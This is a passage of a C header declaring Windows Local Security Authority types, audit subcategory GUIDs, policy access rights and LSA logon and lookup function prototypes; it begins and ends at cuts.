0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_DSAccess_DSAccess_defined #endif #endif /* 0cce923c-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_DsAccess_AdAuditChanges_defined) DEFINE_GUID( Audit_DsAccess_AdAuditChanges, 0x0cce923c, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_DsAccess_AdAuditChanges_defined #endif #endif /* 0cce923d-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Ds_Replication_defined) DEFINE_GUID( Audit_Ds_Replication, 0x0cce923d, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Ds_Replication_defined #endif #endif /* 0cce923e-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Ds_DetailedReplication_defined) DEFINE_GUID( Audit_Ds_DetailedReplication, 0x0cce923e, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Ds_DetailedReplication_defined #endif #endif /* 0cce923f-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountLogon_CredentialValidation_defined) DEFINE_GUID( Audit_AccountLogon_CredentialValidation, 0x0cce923f, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountLogon_CredentialValidation_defined #endif #endif /* 0cce9240-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountLogon_Kerberos_defined) DEFINE_GUID( Audit_AccountLogon_Kerberos, 0x0cce9240, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountLogon_Kerberos_defined #endif #endif /* 0cce9241-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountLogon_Others_defined) DEFINE_GUID( Audit_AccountLogon_Others, 0x0cce9241, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountLogon_Others_defined #endif #endif /* 0cce9242-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountLogon_KerbCredentialValidation_defined) DEFINE_GUID( Audit_AccountLogon_KerbCredentialValidation, 0x0cce9242, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountLogon_KerbCredentialValidation_defined #endif #endif /* 0cce9243-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Logon_NPS_defined) DEFINE_GUID( Audit_Logon_NPS, 0x0cce9243, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Logon_NPS_defined #endif #endif /* 0cce9244-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_DetailedFileShare_defined) DEFINE_GUID( Audit_ObjectAccess_DetailedFileShare, 0x0cce9244, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_DetailedFileShare_defined #endif #endif #endif // DEFINE_GUID // // All categories are named as // #ifdef DEFINE_GUID /* 69979848-797a-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_System_defined) DEFINE_GUID( Audit_System, 0x69979848, 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_System_defined #endif #endif /* 69979849-797a-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Logon_defined) DEFINE_GUID( Audit_Logon, 0x69979849, 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Logon_defined #endif #endif /* 6997984a-797a-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_defined) DEFINE_GUID( Audit_ObjectAccess, 0x6997984a, 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_defined #endif #endif /* 6997984b-797a-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PrivilegeUse_defined) DEFINE_GUID( Audit_PrivilegeUse, 0x6997984b, 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PrivilegeUse_defined #endif #endif /* 6997984c-797a-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_DetailedTracking_defined) DEFINE_GUID( Audit_DetailedTracking, 0x6997984c, 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_DetailedTracking_defined #endif #endif /* 6997984d-797a-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PolicyChange_defined) DEFINE_GUID( Audit_PolicyChange, 0x6997984d, 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PolicyChange_defined #endif #endif /* 6997984e-797a-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountManagement_defined) DEFINE_GUID( Audit_AccountManagement, 0x6997984e, 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountManagement_defined #endif #endif /* 6997984f-797a-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_DirectoryServiceAccess_defined) DEFINE_GUID( Audit_DirectoryServiceAccess, 0x6997984f, 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_DirectoryServiceAccess_defined #endif #endif /* 69979850-797a-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountLogon_defined) DEFINE_GUID( Audit_AccountLogon, 0x69979850, 0x797a, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountLogon_defined #endif #endif #endif // DEFINE_GUID // 04.06.2011 - added #if !defined(_NTLSA_IFS_) #define _NTLSA_IFS_ #if !defined(_LSALOOKUP_) #define _LSALOOKUP_ #if defined(_NTDEF_) typedef UNICODE_STRING LSA_UNICODE_STRING, *PLSA_UNICODE_STRING; typedef STRING LSA_STRING, *PLSA_STRING; typedef OBJECT_ATTRIBUTES LSA_OBJECT_ATTRIBUTES, *PLSA_OBJECT_ATTRIBUTES; #else // _NTDEF_ typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; #ifdef MIDL_PASS [size_is(MaximumLength/2), length_is(Length/2)] #endif // MIDL_PASS PWSTR Buffer; } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING; typedef struct _LSA_STRING { USHORT Length; USHORT MaximumLength; PCHAR Buffer; } LSA_STRING, *PLSA_STRING; typedef struct _LSA_OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PLSA_UNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE } LSA_OBJECT_ATTRIBUTES, *PLSA_OBJECT_ATTRIBUTES; #endif // _NTDEF_ typedef struct _LSA_TRUST_INFORMATION { LSA_UNICODE_STRING Name; // The name of the domain PSID Sid; // ptr to domain Sid } LSA_TRUST_INFORMATION, *PLSA_TRUST_INFORMATION; typedef struct _LSA_REFERENCED_DOMAIN_LIST { ULONG Entries; // count of domains in domain array PLSA_TRUST_INFORMATION Domains; // pointer to array LSA_TRUST_INFORMATION data } LSA_REFERENCED_DOMAIN_LIST, *PLSA_REFERENCED_DOMAIN_LIST; #if (_WIN32_WINNT >= 0x0501) typedef struct _LSA_TRANSLATED_SID2 { SID_NAME_USE Use; PSID Sid; LONG DomainIndex; ULONG Flags; } LSA_TRANSLATED_SID2, *PLSA_TRANSLATED_SID2; #endif typedef struct _LSA_TRANSLATED_NAME { SID_NAME_USE Use; LSA_UNICODE_STRING Name; LONG DomainIndex; } LSA_TRANSLATED_NAME, *PLSA_TRANSLATED_NAME; typedef struct _POLICY_ACCOUNT_DOMAIN_INFO { LSA_UNICODE_STRING DomainName; PSID DomainSid; } POLICY_ACCOUNT_DOMAIN_INFO, *PPOLICY_ACCOUNT_DOMAIN_INFO; typedef struct _POLICY_DNS_DOMAIN_INFO { LSA_UNICODE_STRING Name; LSA_UNICODE_STRING DnsDomainName; LSA_UNICODE_STRING DnsForestName; GUID DomainGuid; PSID Sid; } POLICY_DNS_DOMAIN_INFO, *PPOLICY_DNS_DOMAIN_INFO; #define LOOKUP_VIEW_LOCAL_INFORMATION 0x00000001 #define LOOKUP_TRANSLATE_NAMES 0x00000800 typedef enum _LSA_LOOKUP_DOMAIN_INFO_CLASS { AccountDomainInformation = 5, DnsDomainInformation = 12 } LSA_LOOKUP_DOMAIN_INFO_CLASS, *PLSA_LOOKUP_DOMAIN_INFO_CLASS; typedef PVOID LSA_LOOKUP_HANDLE, *PLSA_LOOKUP_HANDLE; NTSTATUS LsaLookupOpenLocalPolicy( IN PLSA_OBJECT_ATTRIBUTES ObjectAttributes, IN ACCESS_MASK AccessMask, _Inout_ PLSA_LOOKUP_HANDLE PolicyHandle ); NTSTATUS LsaLookupClose( IN LSA_LOOKUP_HANDLE ObjectHandle ); NTSTATUS LsaLookupTranslateSids( IN LSA_LOOKUP_HANDLE PolicyHandle, IN ULONG Count, IN PSID *Sids, OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, OUT PLSA_TRANSLATED_NAME *Names ); #if (_WIN32_WINNT >= 0x0501) NTSTATUS LsaLookupTranslateNames( IN LSA_LOOKUP_HANDLE PolicyHandle, IN ULONG Flags, IN ULONG Count, IN PLSA_UNICODE_STRING Names, OUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains, OUT PLSA_TRANSLATED_SID2 *Sids ); #endif NTSTATUS LsaLookupGetDomainInfo( IN LSA_LOOKUP_HANDLE PolicyHandle, IN LSA_LOOKUP_DOMAIN_INFO_CLASS DomainInfoClass, OUT PVOID *DomainInfo ); NTSTATUS LsaLookupFreeMemory( IN PVOID Buffer ); #endif // _LSALOOKUP_ #define LSA_MODE_PASSWORD_PROTECTED (0x00000001L) #define LSA_MODE_INDIVIDUAL_ACCOUNTS (0x00000002L) #define LSA_MODE_MANDATORY_ACCESS (0x00000004L) #define LSA_MODE_LOG_FULL (0x00000008L) typedef enum _SECURITY_LOGON_TYPE { UndefinedLogonType = 0, // This is used to specify an undefined logon type Interactive = 2, // Interactively logged on (locally or remotely) Network, // Accessing system via network Batch, // Started via a batch queue Service, // Service started by service controller Proxy, // Proxy logon Unlock, // Unlock workstation NetworkCleartext, // Network logon with cleartext credentials NewCredentials, // Clone caller, new default credentials //The types below only exist in Windows XP and greater #if (_WIN32_WINNT >= 0x0501) RemoteInteractive, // Remote, yet interactive. Terminal server CachedInteractive, // Try cached credentials without hitting the net. // The types below only exist in Windows Server 2003 and greater #endif #if (_WIN32_WINNT >= 0x0502) CachedRemoteInteractive, // Same as RemoteInteractive, this is used internally for auditing purpose CachedUnlock // Cached Unlock workstation #endif } SECURITY_LOGON_TYPE, *PSECURITY_LOGON_TYPE; typedef ULONG LSA_OPERATIONAL_MODE, *PLSA_OPERATIONAL_MODE; #if !defined(_NTLSA_AUDIT_) #define _NTLSA_AUDIT_ // // The following enumerated type is used between the reference monitor and // LSA in the generation of audit messages. It is used to indicate the // type of data being passed as a parameter from the reference monitor // to LSA. LSA is responsible for transforming the specified data type // into a set of unicode strings that are added to the event record in // the audit log. // typedef enum _SE_ADT_PARAMETER_TYPE { SeAdtParmTypeNone = 0, //Produces 1 parameter SeAdtParmTypeString, //Produces 1 parameter. SeAdtParmTypeFileSpec, SeAdtParmTypeUlong, //Produces 1 parameter SeAdtParmTypeSid, //Produces 1 parameter. SeAdtParmTypeLogonId, //Produces 4 parameters. SeAdtParmTypeNoLogonId, //Produces 3 parameters. SeAdtParmTypeAccessMask, //Produces 1 parameter with formatting. SeAdtParmTypePrivs, //Produces 1 parameter with formatting. SeAdtParmTypeObjectTypes, //Produces 10 parameters with formatting. SeAdtParmTypeHexUlong, //Produces 1 parameter SeAdtParmTypePtr, //Produces 1 parameter SeAdtParmTypeTime, //Produces 2 parameters SeAdtParmTypeGuid, //Produces 1 parameter SeAdtParmTypeLuid, // SeAdtParmTypeHexInt64, //Produces 1 parameter SeAdtParmTypeStringList, //Produces 1 parameter SeAdtParmTypeSidList, //Produces 1 parameter SeAdtParmTypeDuration, //Produces 1 parameters SeAdtParmTypeUserAccountControl,//Produces 3 parameters SeAdtParmTypeNoUac, //Produces 3 parameters SeAdtParmTypeMessage, //Produces 1 Parameter SeAdtParmTypeDateTime, //Produces 1 Parameter SeAdtParmTypeSockAddr, // Produces 2 parameters SeAdtParmTypeSD, // Produces 1 parameters SeAdtParmTypeLogonHours, // Produces 1 parameters SeAdtParmTypeLogonIdNoSid, //Produces 3 parameters. SeAdtParmTypeUlongNoConv, // Produces 1 parameter. SeAdtParmTypeSockAddrNoPort, // Produces 1 parameter SeAdtParmTypeAccessReason } SE_ADT_PARAMETER_TYPE, *PSE_ADT_PARAMETER_TYPE; #if !defined(GUID_DEFINED) #include #endif /* GUID_DEFINED */ typedef struct _SE_ADT_OBJECT_TYPE { GUID ObjectType; USHORT Flags; #define SE_ADT_OBJECT_ONLY 0x1 USHORT Level; ACCESS_MASK AccessMask; } SE_ADT_OBJECT_TYPE, *PSE_ADT_OBJECT_TYPE; typedef struct _SE_ADT_PARAMETER_ARRAY_ENTRY { SE_ADT_PARAMETER_TYPE Type; ULONG Length; ULONG_PTR Data[2]; PVOID Address; } SE_ADT_PARAMETER_ARRAY_ENTRY, *PSE_ADT_PARAMETER_ARRAY_ENTRY; typedef struct _SE_ADT_ACCESS_REASON{ ACCESS_MASK AccessMask; ULONG AccessReasons[32]; ULONG ObjectTypeIndex; ULONG AccessGranted; PSECURITY_DESCRIPTOR SecurityDescriptor; } SE_ADT_ACCESS_REASON, *PSE_ADT_ACCESS_REASON; #define SE_MAX_AUDIT_PARAMETERS 32 #define SE_MAX_GENERIC_AUDIT_PARAMETERS 28 typedef struct _SE_ADT_PARAMETER_ARRAY { ULONG CategoryId; ULONG AuditId; ULONG ParameterCount; ULONG Length; USHORT FlatSubCategoryId; USHORT Type; ULONG Flags; SE_ADT_PARAMETER_ARRAY_ENTRY Parameters[ SE_MAX_AUDIT_PARAMETERS ]; } SE_ADT_PARAMETER_ARRAY, *PSE_ADT_PARAMETER_ARRAY; #define SE_ADT_PARAMETERS_SELF_RELATIVE 0x00000001 #define SE_ADT_PARAMETERS_SEND_TO_LSA 0x00000002 #define SE_ADT_PARAMETER_EXTENSIBLE_AUDIT 0x00000004 #define SE_ADT_PARAMETER_GENERIC_AUDIT 0x00000008 #define SE_ADT_PARAMETER_WRITE_SYNCHRONOUS 0x00000010 #define LSAP_SE_ADT_PARAMETER_ARRAY_TRUE_SIZE(AuditParameters) \ ( sizeof(SE_ADT_PARAMETER_ARRAY) - \ sizeof(SE_ADT_PARAMETER_ARRAY_ENTRY) * \ (SE_MAX_AUDIT_PARAMETERS - AuditParameters->ParameterCount) ) #endif // !defined(_NTLSA_AUDIT_) typedef enum _POLICY_AUDIT_EVENT_TYPE { AuditCategorySystem = 0, AuditCategoryLogon, AuditCategoryObjectAccess, AuditCategoryPrivilegeUse, AuditCategoryDetailedTracking, AuditCategoryPolicyChange, AuditCategoryAccountManagement, AuditCategoryDirectoryServiceAccess, AuditCategoryAccountLogon } POLICY_AUDIT_EVENT_TYPE, *PPOLICY_AUDIT_EVENT_TYPE; #define POLICY_AUDIT_EVENT_UNCHANGED (0x00000000L) #define POLICY_AUDIT_EVENT_SUCCESS (0x00000001L) #define POLICY_AUDIT_EVENT_FAILURE (0x00000002L) #define POLICY_AUDIT_EVENT_NONE (0x00000004L) #define POLICY_AUDIT_EVENT_MASK \ (POLICY_AUDIT_EVENT_SUCCESS | \ POLICY_AUDIT_EVENT_FAILURE | \ POLICY_AUDIT_EVENT_UNCHANGED | \ POLICY_AUDIT_EVENT_NONE) #define LSA_SUCCESS(Error) ((LONG)(Error) >= 0) NTSTATUS NTAPI LsaRegisterLogonProcess ( IN PLSA_STRING LogonProcessName, OUT PHANDLE LsaHandle, OUT PLSA_OPERATIONAL_MODE SecurityMode ); NTSTATUS NTAPI LsaLogonUser ( IN HANDLE LsaHandle, IN PLSA_STRING OriginName, IN SECURITY_LOGON_TYPE LogonType, IN ULONG AuthenticationPackage, IN PVOID AuthenticationInformation, IN ULONG AuthenticationInformationLength, _In_opt_ PTOKEN_GROUPS LocalGroups, IN PTOKEN_SOURCE SourceContext, OUT PVOID *ProfileBuffer, OUT PULONG ProfileBufferLength, OUT PLUID LogonId, OUT PHANDLE Token, OUT PQUOTA_LIMITS Quotas, OUT PNTSTATUS SubStatus ); NTSTATUS NTAPI LsaLookupAuthenticationPackage ( IN HANDLE LsaHandle, IN PLSA_STRING PackageName, OUT PULONG AuthenticationPackage ); NTSTATUS NTAPI LsaFreeReturnBuffer ( IN PVOID Buffer ); NTSTATUS NTAPI LsaCallAuthenticationPackage ( IN HANDLE LsaHandle, IN ULONG AuthenticationPackage, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT OPTIONAL PVOID *ProtocolReturnBuffer, OUT OPTIONAL PULONG ReturnBufferLength, OUT OPTIONAL PNTSTATUS ProtocolStatus ); NTSTATUS NTAPI LsaDeregisterLogonProcess ( IN HANDLE LsaHandle ); NTSTATUS NTAPI LsaConnectUntrusted ( OUT PHANDLE LsaHandle ); //////////////////////////////////////////////////////////////////////////// // // // Local Security Policy Administration API datatypes and defines // // // //////////////////////////////////////////////////////////////////////////// #define POLICY_VIEW_LOCAL_INFORMATION 0x00000001L #define POLICY_VIEW_AUDIT_INFORMATION 0x00000002L #define POLICY_GET_PRIVATE_INFORMATION 0x00000004L #define POLICY_TRUST_ADMIN 0x00000008L #define POLICY_CREATE_ACCOUNT 0x00000010L #define POLICY_CREATE_SECRET 0x00000020L #define POLICY_CREATE_PRIVILEGE 0x00000040L #define POLICY_SET_DEFAULT_QUOTA_LIMITS 0x00000080L #define POLICY_SET_AUDIT_REQUIREMENTS 0x00000100L #define POLICY_AUDIT_LOG_ADMIN 0x00000200L #define POLICY_SERVER_ADMIN 0x00000400L #define POLICY_LOOKUP_NAMES 0x00000800L #define POLICY_NOTIFICATION 0x00001000L #define POLICY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED |\ POLICY_VIEW_LOCAL_INFORMATION |\ POLICY_VIEW_AUDIT_INFORMATION |\ POLICY_GET_PRIVATE_INFORMATION |\ POLICY_TRUST_ADMIN |\ POLICY_CREATE_ACCOUNT |\ POLICY_CREATE_SECRET |\ POLICY_CREATE_PRIVILEGE |\ POLICY_SET_DEFAULT_QUOTA_LIMITS |\ POLICY_SET_AUDIT_REQUIREMENTS |\ POLICY_AUDIT_LOG_ADMIN |\ POLICY_SERVER_ADMIN |\ POLICY_LOOKUP_NAMES) #define POLICY_READ (STANDARD_RIGHTS_READ |\ POLICY_VIEW_AUDIT_INFORMATION |\ POLICY_GET_PRIVATE_INFORMATION) #define POLICY_WRITE (STANDARD_RIGHTS_WRITE |\ POLICY_TRUST_ADMIN |\ POLICY_CREATE_ACCOUNT |\ POLICY_CREATE_SECRET |\ POLICY_CREATE_PRIVILEGE |\ POLICY_SET_DEFAULT_QUOTA_LIMITS |\ POLICY_SET_AUDIT_REQUIREMENTS |\ POLICY_AUDIT_LOG_ADMIN |\ POLICY_SERVER_ADMIN) #define POLICY_EXECUTE (STANDARD_RIGHTS_EXECUTE |\ POLICY_VIEW_LOCAL_INFORMATION |\ POLICY_LOOKUP_NAMES) typedef struct _LSA_TRANSLATED_SID { SID_NAME_USE Use; ULONG RelativeId; LONG DomainIndex; } LSA_TRANSLATED_SID, *PLSA_TRANSLATED_SID; typedef enum _POLICY_LSA_SERVER_ROLE { PolicyServerRoleBackup = 2, PolicyServerRolePrimary } POLICY_LSA_SERVER_ROLE, *PPOLICY_LSA_SERVER_ROLE; #if (_WIN32_WINNT < 0x0502) typedef enum _POLICY_SERVER_ENABLE_STATE { PolicyServerEnabled = 2, PolicyServerDisabled } POLICY_SERVER_ENABLE_STATE, *PPOLICY_SERVER_ENABLE_STATE; #endif typedef ULONG POLICY_AUDIT_EVENT_OPTIONS, *PPOLICY_AUDIT_EVENT_OPTIONS; typedef enum _POLICY_INFORMATION_CLASS { PolicyAuditLogInformation = 1, PolicyAuditEventsInformation, PolicyPrimaryDomainInformation, PolicyPdAccountInformation, PolicyAccountDomainInformation, PolicyLsaServerRoleInformation, PolicyReplicaSourceInformation, PolicyDefaultQuotaInformation, PolicyModificationInformation, PolicyAuditFullSetInformation, PolicyAuditFullQueryInformation, PolicyDnsDomainInformation, PolicyDnsDomainInformationInt, PolicyLocalAccountDomainInformation, PolicyLastEntry } POLICY_INFORMATION_CLASS, *PPOLICY_INFORMATION_CLASS; typedef struct _POLICY_AUDIT_LOG_INFO { ULONG AuditLogPercentFull; ULONG MaximumLogSize; LARGE_INTEGER AuditRetentionPeriod; BOOLEAN AuditLogFullShutdownInProgress; LARGE_INTEGER TimeToShutdown; ULONG NextAuditRecordId; } POLICY_AUDIT_LOG_INFO, *PPOLICY_AUDIT_LOG_INFO; typedef struct _POLICY_AUDIT_EVENTS_INFO { BOOLEAN AuditingMode; PPOLICY_AUDIT_EVENT_OPTIONS EventAuditingOptions; ULONG MaximumAuditEventCount; } POLICY_AUDIT_EVENTS_INFO, *PPOLICY_AUDIT_EVENTS_INFO; typedef struct _POLICY_AUDIT_SUBCATEGORIES_INFO { ULONG MaximumSubCategoryCount; PPOLICY_AUDIT_EVENT_OPTIONS EventAuditingOptions; } POLICY_AUDIT_SUBCATEGORIES_INFO, *PPOLICY_AUDIT_SUBCATEGORIES_INFO; typedef struct _POLICY_AUDIT_CATEGORIES_INFO { ULONG MaximumCategoryCount; PPOLICY_AUDIT_SUBCATEGORIES_INFO SubCategoriesInfo; } POLICY_AUDIT_CATEGORIES_INFO, *PPOLICY_AUDIT_CATEGORIES_INFO; // // Valid bits for Per user policy mask. // #define PER_USER_POLICY_UNCHANGED (0x00) #define PER_USER_AUDIT_SUCCESS_INCLUDE (0x01) #define PER_USER_AUDIT_SUCCESS_EXCLUDE (0x02) #define PER_USER_AUDIT_FAILURE_INCLUDE (0x04) #define PER_USER_AUDIT_FAILURE_EXCLUDE (0x08) #define PER_USER_AUDIT_NONE (0x10) #define VALID_PER_USER_AUDIT_POLICY_FLAG (PER_USER_AUDIT_SUCCESS_INCLUDE | \ PER_USER_AUDIT_SUCCESS_EXCLUDE | \ PER_USER_AUDIT_FAILURE_INCLUDE | \ PER_USER_AUDIT_FAILURE_EXCLUDE | \ PER_USER_AUDIT_NONE) typedef struct _POLICY_PRIMARY_DOMAIN_INFO { LSA_UNICODE_STRING Name; PSID Sid; } POLICY_PRIMARY_DOMAIN_INFO, *PPOLICY_PRIMARY_DOMAIN_INFO; typedef struct _POLICY_PD_ACCOUNT_INFO { LSA_UNICODE_STRING Name; } POLICY_PD_ACCOUNT_INFO, *PPOLICY_PD_ACCOUNT_INFO; typedef struct _POLICY_LSA_SERVER_ROLE_INFO { POLICY_LSA_SERVER_ROLE LsaServerRole; } POLICY_LSA_SERVER_ROLE_INFO, *PPOLICY_LSA_SERVER_ROLE_INFO; typedef struct _POLICY_REPLICA_SOURCE_INFO { LSA_UNICODE_STRING ReplicaSource; LSA_UNICODE_STRING ReplicaAccountName; } POLICY_REPLICA_SOURCE_INFO, *PPOLICY_REPLICA_SOURCE_INFO; typedef struct _POLICY_DEFAULT_QUOTA_INFO { QUOTA_LIMITS QuotaLimits; } POLICY_DEFAULT_QUOTA_INFO, *PPOLICY_DEFAULT_QUOTA_INFO; typedef struct _POLICY_MODIFICATION_INFO { LARGE_INTEGER ModifiedId; LARGE_INTEGER DatabaseCreationTime; } POLICY_MODIFICATION_INFO, *PPOLICY_MODIFICATION_INFO; typedef struct _POLICY_AUDIT_FULL_SET_INFO { BOOLEAN ShutDownOnFull; } POLICY_AUDIT_FULL_SET_INFO, *PPOLICY_AUDIT_FULL_SET_INFO; typedef struct _POLICY_AUDIT_FULL_QUERY_INFO { BOOLEAN ShutDownOnFull; BOOLEAN LogIsFull; } POLICY_AUDIT_FULL_QUERY_INFO, *PPOLICY_AUDIT_FULL_QUERY_INFO; typedef enum _POLICY_DOMAIN_INFORMATION_CLASS { #if (_WIN32_WINNT <= 0x0500) PolicyDomainQualityOfServiceInformation = 1, #endif PolicyDomainEfsInformation = 2, PolicyDomainKerberosTicketInformation } POLICY_DOMAIN_INFORMATION_CLASS, *PPOLICY_DOMAIN_INFORMATION_CLASS; #if (_WIN32_WINNT < 0x0502) #define POLICY_QOS_SCHANNEL_REQUIRED 0x00000001 #define POLICY_QOS_OUTBOUND_INTEGRITY 0x00000002 #define POLICY_QOS_OUTBOUND_CONFIDENTIALITY 0x00000004 #define POLICY_QOS_INBOUND_INTEGRITY 0x00000008 #define POLICY_QOS_INBOUND_CONFIDENTIALITY 0x00000010 #define POLICY_QOS_ALLOW_LOCAL_ROOT_CERT_STORE 0x00000020 #define POLICY_QOS_RAS_SERVER_ALLOWED 0x00000040 #define POLICY_QOS_DHCP_SERVER_ALLOWED 0x00000080 // // Bits 0x00000100 through 0xFFFFFFFF are reserved for future use. // #endif #if (_WIN32_WINNT == 0x0500) typedef struct _POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO { ULONG QualityOfService; } POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO, *PPOLICY_DOMAIN_QUALITY_OF_SERVICE_INFO; #endif typedef struct _POLICY_DOMAIN_EFS_INFO { ULONG InfoLength; PUCHAR EfsBlob; } POLICY_DOMAIN_EFS_INFO, *PPOLICY_DOMAIN_EFS_INFO; #define POLICY_KERBEROS_VALIDATE_CLIENT 0x00000080 typedef struct _POLICY_DOMAIN_KERBEROS_TICKET_INFO { ULONG AuthenticationOptions; LARGE_INTEGER MaxServiceTicketAge; LARGE_INTEGER MaxTicketAge; LARGE_INTEGER MaxRenewAge; LARGE_INTEGER MaxClockSkew; LARGE_INTEGER Reserved; } POLICY_DOMAIN_KERBEROS_TICKET_INFO, *PPOLICY_DOMAIN_KERBEROS_TICKET_INFO; typedef enum _POLICY_NOTIFICATION_INFORMATION_CLASS { PolicyNotifyAuditEventsInformation = 1, PolicyNotifyAccountDomainInformation, PolicyNotifyServerRoleInformation, PolicyNotifyDnsDomainInformation, PolicyNotifyDomainEfsInformation, PolicyNotifyDomainKerberosTicketInformation, PolicyNotifyMachineAccountPasswordInformation, PolicyNotifyGlobalSaclInformation, PolicyNotifyMax // must always be the last entry } POLICY_NOTIFICATION_INFORMATION_CLASS, *PPOLICY_NOTIFICATION_INFORMATION_CLASS; typedef PVOID LSA_HANDLE, *PLSA_HANDLE; typedef enum _TRUSTED_INFORMATION_CLASS { TrustedDomainNameInformation = 1, TrustedControllersInformation, TrustedPosixOffsetInformation, TrustedPasswordInformation, TrustedDomainInformationBasic, TrustedDomainInformationEx, TrustedDomainAuthInformation, TrustedDomainFullInformation, TrustedDomainAuthInformationInternal, TrustedDomainFullInformationInternal, TrustedDomainInformationEx2Internal, TrustedDomainFullInformation2Internal, TrustedDomainSupportedEncryptionTypes, } TRUSTED_INFORMATION_CLASS, *PTRUSTED_INFORMATION_CLASS; typedef struct _TRUSTED_DOMAIN_NAME_INFO { LSA_UNICODE_STRING Name; } TRUSTED_DOMAIN_NAME_INFO, *PTRUSTED_DOMAIN_NAME_INFO; typedef struct _TRUSTED_CONTROLLERS_INFO { ULONG Entries; PLSA_UNICODE_STRING Names; } TRUSTED_CONTROLLERS_INFO, *PTRUSTED_CONTROLLERS_INFO; typedef struct _TRUSTED_POSIX_OFFSET_INFO { ULONG Offset; } TRUSTED_POSIX_OFFSET_INFO, *PTRUSTED_POSIX_OFFSET_INFO; typedef struct _TRUSTED_PASSWORD_INFO { LSA_UNICODE_STRING Password; LSA_UNICODE_STRING OldPassword; } TRUSTED_PASSWORD_INFO, *PTRUSTED_PASSWORD_INFO; typedef LSA_TRUST_INFORMATION TRUSTED_DOMAIN_INFORMATION_BASIC; typedef PLSA_TRUST_INFORMATION PTRUSTED_DOMAIN_INFORMATION_BASIC; #define TRUST_DIRECTION_DISABLED 0x00000000 #define TRUST_DIRECTION_INBOUND 0x00000001 #define TRUST_DIRECTION_OUTBOUND 0x00000002 #define TRUST_DIRECTION_BIDIRECTIONAL (TRUST_DIRECTION_INBOUND | TRUST_DIRECTION_OUTBOUND) #define TRUST_TYPE_DOWNLEVEL 0x00000001 // NT4 and before #define TRUST_TYPE_UPLEVEL 0x00000002 // NT5 #define TRUST_TYPE_MIT 0x00000003 // Trust with a MIT Kerberos realm #if 